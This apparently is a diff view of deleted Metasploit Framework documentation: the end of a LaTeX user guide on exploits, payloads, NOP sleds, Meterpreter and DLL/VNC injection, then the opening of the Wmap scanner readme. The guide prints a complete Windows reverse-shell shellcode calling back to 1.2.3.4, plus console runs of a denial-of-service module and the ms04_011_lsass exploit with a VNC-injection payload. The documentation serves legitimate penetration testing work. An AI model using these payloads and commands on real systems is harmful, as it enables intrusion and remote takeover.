||||||
|
|
||||||
\par
|
|
||||||
The \texttt{check} command can be used to determine whether the target
|
|
||||||
system is vulnerable to the active exploit module. This is a quick way to
|
|
||||||
verify that all options have been correctly set and that the target is
|
|
||||||
actually vulnerable to exploitation. Not all exploit modules have implemented
|
|
||||||
the check functionality. In many cases it is nearly impossible to determine
|
|
||||||
whether a service is vulnerable without actually exploiting it. A
|
|
||||||
\texttt{check} command should never result in the target system crashing or
|
|
||||||
becoming unavailable. Many modules display version information and
|
|
||||||
expect you to analyze it before proceeding.
|
|
||||||
|
|
||||||
\subsection{Selecting a Target}
|
|
||||||
|
|
||||||
\par Many exploits will require the \texttt{TARGET} environment variable to be
|
|
||||||
set to the index number of the desired target. The \texttt{show targets}
|
|
||||||
command will list all targets provided by the exploit module. Many exploits
|
|
||||||
will default to a brute-force target type; this may not be desirable in all
|
|
||||||
situations.
|
|
||||||
|
|
||||||
\subsection{Selecting the Payload}
|
|
||||||
|
|
||||||
\par The payload is the actual code that will run on the target system after
|
|
||||||
a successful exploit attempt. Use the \texttt{show payloads} command to list
|
|
||||||
all payloads compatible with the current exploit. If you are behind a
|
|
||||||
firewall, you may want to use a bind shell payload, if your target is behind
|
|
||||||
one and you are not, you would use a reverse connect payload. You can use the
|
|
||||||
\texttt{info payload\_name} command to view detailed information about a given
|
|
||||||
payload.
|
|
||||||
|
|
||||||
\par
|
|
||||||
Once you have decided on a payload, use the \texttt{set} command to specify
|
|
||||||
the payload module name as the value for the \texttt{PAYLOAD} environment
|
|
||||||
variable. Once the payload has been set, use the \texttt{show options} command
|
|
||||||
to display all available payload options. Most payloads have at least one
|
|
||||||
required option. Advanced options are provided by a handful of payload
|
|
||||||
options; use the \texttt{show advanced} command to view these. Please keep in
|
|
||||||
mind that you will be allowed to select any payload compatible with that
|
|
||||||
exploit, even if it not compatible with your currently selected
|
|
||||||
\texttt{TARGET}. For example, if you select a Linux target, yet choose a BSD
|
|
||||||
payload, you should not expect the exploit to work.
|
|
||||||
|
|
||||||
\subsection{Launching the Exploit}
|
|
||||||
|
|
||||||
\par The \texttt{exploit} command will launch the attack. If everything went
|
|
||||||
well, your payload will execute and potentially provide you with an
|
|
||||||
interactive command shell on the exploited system.
|
|
||||||
|
|
||||||
\section{Auxiliary Modules}
|
|
||||||
|
|
||||||
\par
|
|
||||||
Metasploit 3.0 supports the concept of auxiliary modules which can be used to
|
|
||||||
perform arbitrary, one-off actions such as port scanning, denial of service,
|
|
||||||
and even fuzzing.
|
|
||||||
|
|
||||||
\subsection{Running an Auxiliary Task}
|
|
||||||
|
|
||||||
\par
|
|
||||||
Auxiliary modules are quite a bit similar to exploit modules. Instead of
|
|
||||||
having targets, they have actions, which are specified through the
|
|
||||||
\texttt{ACTION} option. To run an auxiliary module, you can either use the
|
|
||||||
\texttt{run} command, or you can use the \texttt{exploit} command -- they're
|
|
||||||
both the same thing.
|
|
||||||
|
|
||||||
\begin{verbatim}
|
|
||||||
msf > use dos/windows/smb/ms06_035_mailslot
|
|
||||||
msf auxiliary(ms06_035_mailslot) > set RHOST 1.2.3.4
|
|
||||||
RHOST => 1.2.3.4
|
|
||||||
msf auxiliary(ms06_035_mailslot) > run
|
|
||||||
[*] Mangling the kernel, two bytes at a time...
|
|
||||||
\end{verbatim}
|
|
||||||
|
|
||||||
\section{Payload Modules}
|
|
||||||
|
|
||||||
\par
|
|
||||||
Payload modules encapsulate the arbitrary code (shellcode) that is executed as
|
|
||||||
the result of an exploit succeeding. Payloads typically build a communication
|
|
||||||
channel between Metasploit and the victim host.
|
|
||||||
|
|
||||||
\subsection{Generating a Payload}
|
|
||||||
|
|
||||||
\par
|
|
||||||
The console interface supports generating different forms of a payload. This
|
|
||||||
is a new feature in Metasploit 3.0. To generate payloads, first select a
|
|
||||||
payload through the \texttt{use} command.
|
|
||||||
|
|
||||||
\begin{verbatim}
|
|
||||||
msf > use windows/shell_reverse_tcp
|
|
||||||
msf payload(shell_reverse_tcp) > generate -h
|
|
||||||
Usage: generate [options]
|
|
||||||
|
|
||||||
Generates a payload.
|
|
||||||
|
|
||||||
OPTIONS:
|
|
||||||
|
|
||||||
-b <opt> The list of characters to avoid: '\x00\xff'
|
|
||||||
-e <opt> The name of the encoder module to use.
|
|
||||||
-h Help banner.
|
|
||||||
-o <opt> A comma separated list of options in VAR=VAL format.
|
|
||||||
-s <opt> NOP sled length.
|
|
||||||
-t <opt> The output type: ruby, perl, c, or raw.
|
|
||||||
|
|
||||||
msf payload(shell_reverse_tcp) >
|
|
||||||
\end{verbatim}
|
|
||||||
|
|
||||||
\par
|
|
||||||
Using the options supported by the \texttt{generate} command, different
|
|
||||||
formats of a payload can be generated. Some payloads will require options
|
|
||||||
which can be specified through the \texttt{-o} parameter. Additionally, a
|
|
||||||
format to convey the generated payload can be specified through the
|
|
||||||
\texttt{-t} parameter. To save the resulting data to a local file, pass the
|
|
||||||
\texttt{-f} parameter followed by the output file name.
|
|
||||||
|
|
||||||
\begin{verbatim}
|
|
||||||
msf payload(shell_reverse_tcp) > set LHOST 1.2.3.4
|
|
||||||
LHOST => 1.2.3.4
|
|
||||||
msf payload(shell_reverse_tcp) > generate -t ruby
|
|
||||||
# windows/shell_reverse_tcp - 287 bytes
|
|
||||||
# http://www.metasploit.com
|
|
||||||
# EXITFUNC=seh, LPORT=4444, LHOST=1.2.3.4
|
|
||||||
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24" +
|
|
||||||
"\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f" +
|
|
||||||
"\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84" +
|
|
||||||
"\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28" +
|
|
||||||
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c" +
|
|
||||||
"\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64" +
|
|
||||||
"\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e" +
|
|
||||||
"\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" +
|
|
||||||
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50" +
|
|
||||||
"\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff" +
|
|
||||||
"\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43" +
|
|
||||||
"\x53\x43\x53\xff\xd0\x68\x01\x02\x03\x04\x66\x68\x11\x5c" +
|
|
||||||
"\x66\x53\x89\xe1\x95\x68\xec\xf9\xaa\x60\x57\xff\xd6\x6a" +
|
|
||||||
"\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d\x6a\x50" +
|
|
||||||
"\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\x95" +
|
|
||||||
"\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" +
|
|
||||||
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51" +
|
|
||||||
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05" +
|
|
||||||
"\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6" +
|
|
||||||
"\x79\xff\x75\x04\xff\xd6\xff\x77\xfc\xff\xd0\x68\xf0\x8a" +
|
|
||||||
"\x04\x5f\x53\xff\xd6\xff\xd0"
|
|
||||||
msf payload(shell_reverse_tcp) >
|
|
||||||
\end{verbatim}
|
|
||||||
|
|
||||||
\section{Nop Modules}
|
|
||||||
|
|
||||||
\par
|
|
||||||
NOP modules are used to generate no-operation instructions that can be used
|
|
||||||
for padding out buffers.
|
|
||||||
|
|
||||||
\subsection{Generating a NOP Sled}
|
|
||||||
|
|
||||||
\par
|
|
||||||
The NOP module console interface supports generating a NOP sled of an
|
|
||||||
arbitrary size and displaying it in a given format through the
|
|
||||||
\texttt{generate} command.
|
|
||||||
|
|
||||||
\begin{verbatim}
|
|
||||||
msf > use x86/opty2
|
|
||||||
msf nop(opty2) > generate -h
|
|
||||||
Usage: generate [options] length
|
|
||||||
|
|
||||||
Generates a NOP sled of a given length.
|
|
||||||
|
|
||||||
OPTIONS:
|
|
||||||
|
|
||||||
-b <opt> The list of characters to avoid: '\x00\xff'
|
|
||||||
-h Help banner.
|
|
||||||
-s <opt> The comma separated list of registers to save.
|
|
||||||
-t <opt> The output type: ruby, perl, c, or raw.
|
|
||||||
|
|
||||||
msf nop(opty2) >
|
|
||||||
\end{verbatim}
|
|
||||||
|
|
||||||
\par
|
|
||||||
To generate a 50 byte NOP sled that is displayed as a C-style buffer, the
|
|
||||||
following command can be run:
|
|
||||||
|
|
||||||
\begin{verbatim}
|
|
||||||
msf nop(opty2) > generate -t c 50
|
|
||||||
unsigned char buf[] =
|
|
||||||
"\xf5\x3d\x05\x15\xf8\x67\xba\x7d\x08\xd6\x66\x9f\xb8\x2d\xb6"
|
|
||||||
"\x24\xbe\xb1\x3f\x43\x1d\x93\xb2\x37\x35\x84\xd5\x14\x40\xb4"
|
|
||||||
"\xb3\x41\xb9\x48\x04\x99\x46\xa9\xb0\xb7\x2f\xfd\x96\x4a\x98"
|
|
||||||
"\x92\xb5\xd4\x4f\x91";
|
|
||||||
msf nop(opty2) >
|
|
||||||
\end{verbatim}
|
|
||||||
|
|
||||||
\pagebreak
|
|
||||||
\chapter{Advanced Features}
|
|
||||||
|
|
||||||
\par
|
|
||||||
This section covers some of the advanced features that can be found in this
|
|
||||||
release. These features can be used in any compatible exploit and highlight
|
|
||||||
the strength of developing attack code using an exploit framework.
|
|
||||||
|
|
||||||
\section{The Meterpreter}
|
|
||||||
\par
|
|
||||||
The Meterpreter is an advanced multi-function payload that can be dynamically
|
|
||||||
extended at run-time. In normal terms, this means that it provides you with a
|
|
||||||
basic shell and allows you to add new features to it as needed. Please refer
|
|
||||||
to the Meterpreter documentation for an in-depth description of how it works
|
|
||||||
and what you can do with it. The Meterpreter manual can be found in the
|
|
||||||
``documentation'' subdirectory of the Framework as well as online at:
|
|
||||||
|
|
||||||
\url{http://www.metasploit.com/documents/meterpreter.pdf}
|
|
||||||
|
|
||||||
\section{PassiveX Payloads}
|
|
||||||
|
|
||||||
\par The Metasploit Framework can be used to
|
|
||||||
load arbitrary ActiveX controls into a target process. This feature works by
|
|
||||||
patching the registry of the target system and causing the exploited process
|
|
||||||
to launch internet explorer with a URL pointing back to the Framework. The
|
|
||||||
Framework starts up a simple web server that accepts the request and sends
|
|
||||||
back a web page instructing it to load an ActiveX component. The exploited
|
|
||||||
system then downloads, registers, and executes the ActiveX.
|
|
||||||
|
|
||||||
\par
|
|
||||||
The basic PassiveX payload, \texttt{windows/xxx/reverse\_http}, supports any
|
|
||||||
custom ActiveX that you develop. In addition to the base payload, three other
|
|
||||||
PassiveX modules are included in the Framework. These can be used to execute a
|
|
||||||
command shell, load the Meterpreter, or inject a VNC service. When any of
|
|
||||||
these three payloads are used, the PassiveX object will emulate a TCP
|
|
||||||
connection through HTTP GET and POST requests. This allows you to interact
|
|
||||||
with a command shell, VNC, or the Meterpreter using nothing but standard HTTP
|
|
||||||
traffic.
|
|
||||||
|
|
||||||
\par
|
|
||||||
Since PassiveX uses the Internet Explorer browser to load the ActiveX
|
|
||||||
component, it will pass right through an outbound web proxy, using whatever
|
|
||||||
system and authentication settings that have already been configured. The
|
|
||||||
PassiveX payloads will only work when the target system has Internet Explorer
|
|
||||||
6.0 installed (not 5.5 or 7.0). For more information about PassiveX,
|
|
||||||
please see the Uninformed Journal article titled "Post-Exploitation on Windows
|
|
||||||
using ActiveX Controls", located online at:
|
|
||||||
|
|
||||||
\url{http://www.uninformed.org/?v=1&a=3&t=pdf}
|
|
||||||
|
|
||||||
\section{Chainable Proxies}
|
|
||||||
\par
|
|
||||||
The Framework includes transparent support for TCP proxies, this release has
|
|
||||||
handler routines for HTTP CONNECT and SOCKSv4 servers. To use a proxy with a
|
|
||||||
given exploit, the \texttt{Proxies} environment variable needs to be set. The value of
|
|
||||||
this variable is a comma-separated list of proxy servers, where each server is
|
|
||||||
in the format type:host:port. The type values are 'http' for HTTP CONNECT and
|
|
||||||
'socks4' for SOCKS v4. The proxy chain can be of any length; testing shows that
|
|
||||||
the system was stable with over five hundred SOCKS and HTTP proxies configured
|
|
||||||
randomly in a chain. The proxy chain only masks the exploit request, the
|
|
||||||
automatic connection to the payload is not relayed through the proxy chain at
|
|
||||||
this time.
|
|
||||||
|
|
||||||
\section{Win32 UploadExec Payloads}
|
|
||||||
\par
|
|
||||||
Although Unix systems normally include all of the tools you need for
|
|
||||||
post-exploitation, Windows systems are notoriously lacking in a decent command
|
|
||||||
line toolkit. The windows/upexec/* payloads included in this release allow you to
|
|
||||||
simultaneously exploit a Windows system, upload your favorite tool, and execute
|
|
||||||
it, all across the payload socket connection. When combined with a
|
|
||||||
self-extracting rootkit or scripting language interpreter (perl.exe!), this can
|
|
||||||
be a very powerful feature. The Meterpreter payloads are usually much better
|
|
||||||
suited for penetration testing tasks.
|
|
||||||
|
|
||||||
\section{Win32 DLL Injection Payloads}
|
|
||||||
\par
|
|
||||||
The Framework includes a staged payload that is
|
|
||||||
capable of injecting a custom DLL into memory in combination with any Win32
|
|
||||||
exploit. This payload will not result in any files being written to disk; the
|
|
||||||
DLL is loaded directly into memory and is started as a new thread in the
|
|
||||||
exploited process. This payload was developed by Jarkko Turkulainen and Matt
|
|
||||||
Miller and is one of the most powerful post-exploitation techniques developed
|
|
||||||
to date. To create a DLL which can be used with this payload, use the
|
|
||||||
development environment of choice and build a standard Win32 DLL. This DLL
|
|
||||||
should export an function called Init which takes a single argument, an
|
|
||||||
integer value which contains the socket descriptor of the payload connection.
|
|
||||||
The Init function becomes the entry point for the new thread in the exploited
|
|
||||||
process. When processing is complete, it should return and allow the loader
|
|
||||||
stub to exit the process according to the \texttt{EXITFUNC} environment
|
|
||||||
variable. If you would like to write your own DLL payloads, refer to the
|
|
||||||
external/source/dllinject directory in the Framework. In additional to normal
|
|
||||||
DLL Injection, version 3.2 and newer include support for Reflective DLL Injection
|
|
||||||
payloads as well. For more information about Reflective DLL Injection, please see
|
|
||||||
the Harmony Security paper, located at
|
|
||||||
\url{http://www.harmonysecurity.com/files/HS-P005_ReflectiveDllInjection.pdf}
|
|
||||||
|
|
||||||
\section{VNC Server DLL Injection}
|
|
||||||
\par
|
|
||||||
One of the first DLL injection payloads developed was a customized VNC server.
|
|
||||||
This server was written by Matt Miller and based on the RealVNC source code.
|
|
||||||
Additional modifications were made to allow the server to work with exploited,
|
|
||||||
non-interactive network services. This payload allows you to immediately access
|
|
||||||
the desktop of an exploited system using almost any Win32 exploit. The DLL is
|
|
||||||
loaded into the remote process using any of the staged loader systems, started
|
|
||||||
up as a new thread in the exploited process, and the listens for VNC client
|
|
||||||
requests on the same socket used to load the DLL. The Framework listens
|
|
||||||
on a local socket for a VNC client and proxies data across the payload
|
|
||||||
connection to the server.
|
|
||||||
|
|
||||||
\par
|
|
||||||
The VNC server will attempt to obtain full access to the current interactive
|
|
||||||
desktop. If the first attempt fails, it will call RevertToSelf() and then try
|
|
||||||
the attempt again. If it still fails to obtain full access to this desktop, it
|
|
||||||
will fall back to a read-only mode. In read-only mode, the Framework user can
|
|
||||||
view the contents of the desktop, but not interact with it. If full access was
|
|
||||||
obtained, the VNC server will spawn a command shell on the desktop with the
|
|
||||||
privileges of the exploited service. This is useful in situations where an
|
|
||||||
unprivileged user is on the interactive desktop, but the exploited service is
|
|
||||||
running with System privileges.
|
|
||||||
|
|
||||||
\par
|
|
||||||
If there is no interactive user logged into the system or the screen has been
|
|
||||||
locked, the command shell can be used to launch explorer.exe anyways. This can
|
|
||||||
result in some very confused users when the logon screen also has a Start Menu.
|
|
||||||
If the interactive desktop is changed, either through someone logging into the
|
|
||||||
system or locking the screen, the VNC server will disconnect the client. Future
|
|
||||||
versions may attempt to follow a desktop switch.
|
|
||||||
|
|
||||||
\par
|
|
||||||
To use the VNC injection payloads, specify the full path to the VNC server as
|
|
||||||
the value of the \texttt{DLL} option. The VNC server can be found in the data
|
|
||||||
subdirectory of the Framework installation and is named 'vncdll.dll'. The source
|
|
||||||
code of the DLL can be found in the external/source/vncdll
|
|
||||||
subdirectory of the Framework installation.
|
|
||||||
|
|
||||||
\par
|
|
||||||
There are a few situations where the VNC inject payload
|
|
||||||
will simply not work. These problems are often cause by strange execution
|
|
||||||
environments or other issues related to a specific exploit or injection method.
|
|
||||||
These issues will be addressed as time permits:
|
|
||||||
\begin{itemize}
|
|
||||||
\item The windows/brightstor/universal\_agent exploit will cause the VNC payload to
|
|
||||||
crash, possibly due to a strange heap state.
|
|
||||||
\end{itemize}
|
|
||||||
|
|
||||||
\begin{verbatim}
|
|
||||||
msf > use windows/smb/ms04_011_lsass
|
|
||||||
msf exploit(ms04_011_lsass) > set RHOST some.vuln.host
|
|
||||||
RHOST => some.vuln.host
|
|
||||||
msf exploit(ms04_011_lsass) > set PAYLOAD windows/vncinject/reverse_tcp
|
|
||||||
PAYLOAD => windows/vncinject/reverse_tcp
|
|
||||||
msf exploit(ms04_011_lsass) > set LHOST your.own.ip
|
|
||||||
LHOST => your.own.ip
|
|
||||||
msf exploit(ms04_011_lsass) > set LPORT 4321
|
|
||||||
LPORT => 4321
|
|
||||||
msf exploit(ms04_011_lsass) > exploit
|
|
||||||
\end{verbatim}
|
|
||||||
|
|
||||||
If the "vncviewer" application is in your path and the AUTOVNC option has been
|
|
||||||
set (it is by default), the Framework will automatically open the VNC desktop.
|
|
||||||
If you would like to connect to the desktop manually, \texttt{set AUTOVNC 0}, then use
|
|
||||||
vncviewer to connect to 127.0.0.1 on port 5900.
|
|
||||||
|
|
||||||
\pagebreak
|
|
||||||
\chapter{More Information}
|
|
||||||
|
|
||||||
|
|
||||||
\section{Web Site}
|
|
||||||
\par
|
|
||||||
The metasploit.com web site is the first place to check for updated modules and
|
|
||||||
new releases. This web site also hosts the Opcode Database and a decent shellcode
|
|
||||||
archive.
|
|
||||||
|
|
||||||
\section{Mailing List}
|
|
||||||
\par
|
|
||||||
Metasploit hosts two mailing lists -- Framework and Framework-Hackers. You can find
|
|
||||||
information about these mailing lists, along with their archives, at the following URL:
|
|
||||||
\url{http://spool.metasploit.com/}
|
|
||||||
|
|
||||||
\section{Developers}
|
|
||||||
\par
|
|
||||||
If you are interested in helping out with the Framework project, or have any
|
|
||||||
questions related to module development, please contact the development team. The
|
|
||||||
Metasploit Framework development team can be reached at msfdev[at]metasploit.com.
|
|
||||||
|
|
||||||
\pagebreak
|
|
||||||
\appendix
|
|
||||||
|
|
||||||
\pagebreak
|
|
||||||
\chapter{Security}
|
|
||||||
|
|
||||||
\par
|
|
||||||
We recommend that you use a robust, secure terminal emulator when
|
|
||||||
utilizing the command-line interfaces. Examples include \texttt{konsole},
|
|
||||||
\texttt{gnome-terminal}, and recent versions of \texttt{PuTTY}.
|
|
||||||
|
|
||||||
\par
|
|
||||||
We do not recommend that the \texttt{msfweb} interface be used on untrusted
|
|
||||||
networks.
|
|
||||||
|
|
||||||
\section{Console Interfaces}
|
|
||||||
\par
|
|
||||||
The console does not perform terminal escape sequence filtering, this
|
|
||||||
could allow a hostile network service to do Bad Things (TM) to your terminal
|
|
||||||
emulator when the exploit or check commands are used. We suggest that you
|
|
||||||
use a terminal emulator which limits the functionality available through
|
|
||||||
hostile escape sequences. Please see the Terminal Emulator Security Issues paper
|
|
||||||
below for more information on this topic:
|
|
||||||
|
|
||||||
\url{http://marc.info/?l=bugtraq&m=104612710031920&q=p3}
|
|
||||||
|
|
||||||
|
|
||||||
\section{Web Interface}
|
|
||||||
\par
|
|
||||||
The \texttt{msfweb} interface does not adequately filter certain arguments,
|
|
||||||
allowing a hostile web site operator to perform a cross-site scripting
|
|
||||||
attack on the \texttt{msfweb} user.
|
|
||||||
|
|
||||||
\par
|
|
||||||
The \texttt{msfweb} interface does not provide any access control functionality. If
|
|
||||||
the service is configured to listen on a different interface (default is
|
|
||||||
loopback), a malicious attacker could abuse this to exploit remote systems
|
|
||||||
and potentially access local files. The local file access attack can be
|
|
||||||
accomplished by malicious arguments to the payloads which use a local file
|
|
||||||
as input and then exploiting a (fake) service to obtain the file contents.
|
|
||||||
|
|
||||||
|
|
||||||
\pagebreak
|
|
||||||
\chapter{General Tips}
|
|
||||||
|
|
||||||
\section{Tab Completion}
|
|
||||||
\label{REF-TAB}
|
|
||||||
\par
|
|
||||||
On the Unix and Cygwin platforms, tab completion depends on the existence of the Readline
|
|
||||||
library when Ruby was compiled. Some operating systems, such as Mac OS X, have included
|
|
||||||
a version of Ruby without this support. To solve this problem, grab the latest version
|
|
||||||
of the Readline library, configure, build, and install it. Then grab the latest version
|
|
||||||
of the Ruby interpreter and do the same. The resulting Ruby binary can be used to start the
|
|
||||||
\texttt{msfconsole} interface with full tab completion support.
|
|
||||||
|
|
||||||
|
|
||||||
\section{Secure Socket Layer}
|
|
||||||
\label{REF-SSL}
|
|
||||||
\par
|
|
||||||
Nearly all TCP-based exploit and auxiliary modules have builtin support for the Secure Socket Layer.
|
|
||||||
This is a feature of the Socket class included with the Rex library. To indicate that all connections
|
|
||||||
should use SSL, set the \texttt{SSL} environment variable to \texttt{true} from within the Framework
|
|
||||||
interface. Keep in mind, that in most cases the default \texttt{RPORT} variable will need to be
|
|
||||||
changed as well. For example, when exploiting a web application vulnerability through SSL, the
|
|
||||||
\texttt{RPORT} value should be set to \texttt{443}.
|
|
||||||
|
|
||||||
\pagebreak
|
|
||||||
\chapter{Licenses}
|
|
||||||
|
|
||||||
\par
|
|
||||||
The Metasploit Framework is distributed under the modified-BSD license defined below.
|
|
||||||
|
|
||||||
{\footnotesize
|
|
||||||
\begin{verbatim}
|
|
||||||
Copyright (c) 2008, Rapid7, Inc.
|
|
||||||
All rights reserved.
|
|
||||||
|
|
||||||
Redistribution and use in source and binary forms, with or without modification,
|
|
||||||
are permitted provided that the following conditions are met:
|
|
||||||
|
|
||||||
* Redistributions of source code must retain the above copyright notice,
|
|
||||||
this list of conditions and the following disclaimer.
|
|
||||||
|
|
||||||
* Redistributions in binary form must reproduce the above copyright notice,
|
|
||||||
this list of conditions and the following disclaimer in the documentation
|
|
||||||
and/or other materials provided with the distribution.
|
|
||||||
|
|
||||||
* Neither the name of Rapid7, Inc. nor the names of its contributors
|
|
||||||
may be used to endorse or promote products derived from this software
|
|
||||||
without specific prior written permission.
|
|
||||||
|
|
||||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
|
||||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
|
||||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
|
||||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
|
||||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
|
||||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
|
||||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
|
||||||
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
|
||||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
|
||||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
\end{verbatim}}
|
|
||||||
|
|
||||||
\end{document}
|
|
Binary file not shown.
Binary file not shown.
|
@ -1,567 +0,0 @@
|
||||||
|
|
||||||
.-.-.-..-.-.-..---..---.
|
|
||||||
| | | || | | || | || |-'
|
|
||||||
`-----'`-'-'-'`-^-'`-'
|
|
||||||
Metasploit Wmap 1.5
|
|
||||||
==============================================================================
|
|
||||||
Efrain Torres et [ ] metasploit.com 2012
|
|
||||||
------------------------------------------------------------------------------
|
|
||||||
|
|
||||||
=[ 0. Intro ] ----------------------------------------------------------------
|
|
||||||
|
|
||||||
So its 2012 and before the Mayans are proven to be right I was able to create
|
|
||||||
a new version of this plugin. If you have read the old wmap documentation this
|
|
||||||
is what is going on:
|
|
||||||
|
|
||||||
Wmap is still a general purpose web application scanning framework for
|
|
||||||
Metasploit. Still is a different approach compared to other open source
|
|
||||||
alternatives and commercial scanners, as Wmap is not build around any browser
|
|
||||||
or spider for data capture and manipulation. And the best thing is that still
|
|
||||||
is FR33. Lots of bugs are gone and the new code allows for faster and more
|
|
||||||
efficient execution.
|
|
||||||
|
|
||||||
=[ 1. How it works ] ---------------------------------------------------------
|
|
||||||
|
|
||||||
The old architecture (versions < 1.5):
|
|
||||||
|
|
||||||
[CLIENT] ----- [ATTACK PROXY] ----- [TARGET]
|
|
||||||
| | ^
|
|
||||||
+--------->[METASPLOIT DB] |
|
|
||||||
| |
|
|
||||||
[MSF 3 - Wmap SCANNER] |
|
|
||||||
[MSF 3 - Wmap MODULES] -----+
|
|
||||||
|
|
||||||
The new architecture:
|
|
||||||
|
|
||||||
[CLIENTS]
|
|
||||||
|
|
|
||||||
|
|
|
||||||
+-------[Wmap PLUGIN]<-----+----->[METASPLOIT DB]
|
|
||||||
| | | |
|
|
||||||
| | | |
|
|
||||||
[NODE 1] [NODE 2] [NODE n] ---------+
|
|
||||||
| | | \
|
|
||||||
| | | [Wmap MODULES]
|
|
||||||
+---------[TARGETS]--------+
|
|
||||||
|
|
||||||
|
|
||||||
Wmap is a Metasploit plugin and will interact with the database, reading all
|
|
||||||
gathered traffic from any client you have configured/adapted or duct taped to
|
|
||||||
store web sites, requests, responses and forms in the Metasploit DB.
|
|
||||||
|
|
||||||
The test performed are all Metasploit modules which WMAP execute in a
|
|
||||||
configurable order. The test modules are implemented as auxiliary or exploit
|
|
||||||
modules and they can interact with any other MSF component including the
|
|
||||||
database other exploits and plugins.
|
|
||||||
|
|
||||||
The new architecture allows to have different distributed clients and nodes
|
|
||||||
all storing results and data to a central database. This means that large
|
|
||||||
enviorments can be tested using multiple metasploit msfrcpd servers (nodes)
|
|
||||||
controled from one (or more) WMAP consoles. Wmap will execute the tests to be
|
|
||||||
launched from each node distributing evenly the job load across all configured
|
|
||||||
nodes.
|
|
||||||
|
|
||||||
In case you dont want to use a distributed model wmap will detect that no
|
|
||||||
nodes have been configured and will run the modules from the local host.
|
|
||||||
|
|
||||||
|
|
||||||
=[ 2. Crawlers,proxies and other clients ] -----------------------------------
|
|
||||||
|
|
||||||
At this time Metasploit have 4 components that may be used as clients
|
|
||||||
to store web sites in the database:
|
|
||||||
|
|
||||||
(1) If you have configured your database properly and use the
|
|
||||||
auxiliary/scanner/http/crawler module, this module will create a web site
|
|
||||||
(with related host and service) and store all requests,responses and forms
|
|
||||||
automatically.
|
|
||||||
|
|
||||||
(2) Less known is that metasploit has a different crawler called msfcrawler
|
|
||||||
and besides supporting modules to parse the responses in any way you want
|
|
||||||
it will also store the required data in the database.
|
|
||||||
|
|
||||||
(3) Also any module that creates a web_site in the database (e.g.
|
|
||||||
auxiliary/scanner/http/http_version module)
|
|
||||||
will add a site to the database that can be selected as a target in Wmap,
|
|
||||||
however the only path you will be storing will be the root path of the
|
|
||||||
website '/'.
|
|
||||||
|
|
||||||
(4) Metasploit has the awesome 'db_import' command that allows to import
|
|
||||||
multiple scan results from many sources. For tools like Acunetix,
|
|
||||||
Burp and Appscan the results contains web_pages and forms. For the rest
|
|
||||||
(at this time) the results will import services (no web sites, pages or
|
|
||||||
forms associated to them).
|
|
||||||
|
|
||||||
msf > db_import
|
|
||||||
Usage: db_import <filename> [file2...]
|
|
||||||
|
|
||||||
Filenames can be globs like *.xml, or **/*.xml which will search recursively
|
|
||||||
Currently supported file types include:
|
|
||||||
Acunetix XML
|
|
||||||
Amap Log
|
|
||||||
Amap Log -m
|
|
||||||
Appscan XML
|
|
||||||
Burp Session XML
|
|
||||||
...
|
|
||||||
|
|
||||||
|
|
||||||
Or you can add a site manually to the database using the 'wmap_sites -a'
|
|
||||||
command (after loading the wmap plugin. See '4. Wmap Plugin'):
|
|
||||||
|
|
||||||
msf > wmap_sites -a www.blah.net,http://192.168.0.2/
|
|
||||||
[*] Site created.
|
|
||||||
|
|
||||||
Note: www.blah.net,http://192.168.0.2/ <-- is one site vhost,url
|
|
||||||
|
|
||||||
For other tools to store web data in the database the only hard part is to
|
|
||||||
deal with the ruby marshalling of parameters in the web_forms table. (Topic
|
|
||||||
for another paper). But this is one of the main issues regarding the use of
|
|
||||||
other tools to connect to the database. However any Ruby based tool can be
|
|
||||||
modified easily to do this.
|
|
||||||
|
|
||||||
If you noticed the previous architecture the ATTACK PROXY has gone the way of
|
|
||||||
the Dodo (actually not as is just another client). But i will stop mention it
|
|
||||||
because i have been unable to create a good Ruby based MITM proxy (Sorry)
|
|
||||||
and second because i dont want to maintain plugins for every type of proxy
|
|
||||||
out there. Is your exercise to create custom plugins for your tools to connect
|
|
||||||
to the database, after that Wmap does not care where the data comes from.
|
|
||||||
|
|
||||||
=[ 3. The Wmap cycle ]--------------------------------------------------------
|
|
||||||
|
|
||||||
